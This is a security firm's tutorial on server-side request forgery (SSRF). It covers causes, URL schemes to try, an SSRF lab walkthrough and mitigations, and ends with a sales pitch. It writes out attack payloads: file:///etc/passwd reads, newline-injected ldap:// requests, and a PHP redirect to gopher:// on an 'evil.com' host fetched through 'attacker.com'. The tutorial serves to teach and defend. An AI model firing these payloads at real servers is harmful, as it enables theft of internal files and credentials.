SSRF vulnerabilities allow an attacker to send crafted malicious requests from the back-end server of a vulnerable application. Criminals usually operate SSRF attacks to target internal systems that are behind firewalls and are not unrestricted from the external network. An attacker may also leverage SSRF to access services known through the loopback interface of the exploited server.
SSRF vulnerabilities happen when an attacker has full or partisan control of the request sent by the web application. A common example is when an attacker can contain the third-party service URL to which the web application makes a request.
A successful SSRF attack can often result in unauthorized actions or access to data or credentials within the organization, either in the vulnerable application itself or on other back-end database systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform random command execution.
An SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks that appear to originate from the organization hosting the vulnerable application.
Why do developers launch risky practices that can lead to SSRF? Here are some examples of common use cases that can lead to a server-side request forgery vulnerability when proper validations are not implemented:
Webhooks are a modular way to increase the functionality of an application by including flexible and standardized “plugins”. The external site plugins (webhooks) are called after a triggering event in the original application. For instance, a mailing service can reveal a webhook that our application can use when a new user is registered so that a welcome email is sent by the mailing service. They are more similar to APIs but simpler and more standardized. Once again, the SSRF vulnerability occurs when the webhook call is formulated to include invalidated user input.
Some applications save images and other resources in the server filesystem. An SSRF occurs when the application includes a part that takes untrusted data to fetch a server resource and it does not perform security checks. Linking or implanting user profile images.
Some applications accept and process URLs detected in files uploaded to the server including configuration files, scripts, and import-export formats. This may lead to SSRF in certain cases. In combination with other threats such as XXE or open redirects and request forwarding, file processing is one of the most common features that constitute SSRF attack vectors.
As applications achieve modularity and complexity, the reliance on external services increases. Authentication is a good example. If an application simply assembles user input to build an external request to an authentication service, it is potentially introducing SSRF vulnerability. Querying APIs is another common example. From the point of view of external API endpoints, the origin of the request is the SSRF-compromised server, this opens the floodgates for exploitation.
First thing to do when we find an SSRF bug is to try all the following URL schemas:
http://
HTTP (Hypertext Transfer Protocol) is used to load web pages using hypertext links.
file://
File is used to fetch files from the file system.
http://test.com/ssrf.php?url=file:///etc/passwd
http://test.com/ssrf.php?url=file:///C:/Windows/win.ini
If the server blocks HTTP request to external sites or whitelists it, we could simply use the URL schemas to make a request.
dict://
DICT URL scheme is used to guide definitions or word lists available using the DICT protocol:
sftp://
SFTP stands for Secure File Transfer Protocol, or SSH File Transfer Protocol. This is a separate protocol packaged with SSH that works in a similar way over a secure connection.
ldap:// or ldaps:// or ldapi://
LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used to get over the IP network to operate and get access to the distributed directory information service.
http://test.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://test.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://test.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://
Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol that allows the client to get a file from or put the file onto a remote host.
gopher://
Gopher is a distributed document delivery service. It allows users to explore, search and retrieve information residing in different locations in a seamless fashion.
Malicious PHP file (gopher.phpgopher.php) hosted on attacker machine:
<?php
header(‘Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest’);
?>
SSRF exploit:
http://test.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
To better understand SSRF, we’ll exploit the vulnerability in a publicly available vulnerable lab – SSRF Playground lab.
Step 1: We’ll enumerate the application to identify the potential avenues for SSRF vulnerabilities.
Step 2: The “Test It!” feature of the web application allows users to make requests to external resources.
Step 3: We’ll interact with port 1338 on localhost (the server itself). Alternatively, an attacker could run a port scan against the internal infrastructure and search for additional attack vectors in the internal network.
Step 4: We can run automated tools such as dirsearch to brute force directories and files, hosted on the server. Optionally, we can try interacting with the EC2 Metadata Service i.e., if the server is hosted using Amazon’s EC2 service.
Simple blacklists and regular expressions applied to user input are the wrong approaches to block SSRF attacks. In general, having a blacklist won’t solve the problem. Attackers will still find methods to bypass them. In this case, an attacker can use an HTTP redirect, a wildcard DNS service such as xip.io, or even alternate IP address encoding.
To prevent response data from being revealed to the attacker, ensure that the received response is as expected.
The best way to avoid server-side request forgery (SSRF) is to whitelist the host names like DNS names or IP addresses that an application needs to access. If a whitelist approach doesn’t work, it’s important to check user input correctly. For example, do not allow requests to endpoints with remote non-routable IP addresses (detailed in RFC 1918).
However, in the case of a blacklist, the right mitigation to adopt will vary from application to application. In other words, there is no universal fix for SSRF because it highly depends on application functionality and business requirements.
By default, services such as Elasticsearch, Memcached, Redis, and MongoDB do not require authentication. An attacker can use SSRF vulnerabilities to gain entry in some of these services without any authentication. Therefore, to safeguard sensitive information and to strengthen web application security, it’s best to ensure that every request has proper authentication controls, even for services on the local network.
If the application only uses HTTP or HTTPS to create requests, allow only these URL schemas. If unused URL schemas are disabled, attackers will not be able to use the web application to make requests using potentially dangerous schemas such as file:///, dict://, ftp://, and gopher://.
By partnering with Redfox Security, you’ll get the best security and technical skills required to execute an effective and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through penetration testing services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.
To learn more about SSRF and other web vulnerabilities, check out our course, Web Hacking Basics. We have thoroughly covered this topic as well.
Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. With a combination of data-driven, research-based, and manual testing methodologies, we proudly deliver robust security solutions.
“Join us on our journey of growth and development by signing up for our comprehensive courses, if you want to excel in the field of cybersecurity.”
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
info@redfoxsec.com
©️2024 Redfox Cyber Security Inc. All rights reserved.
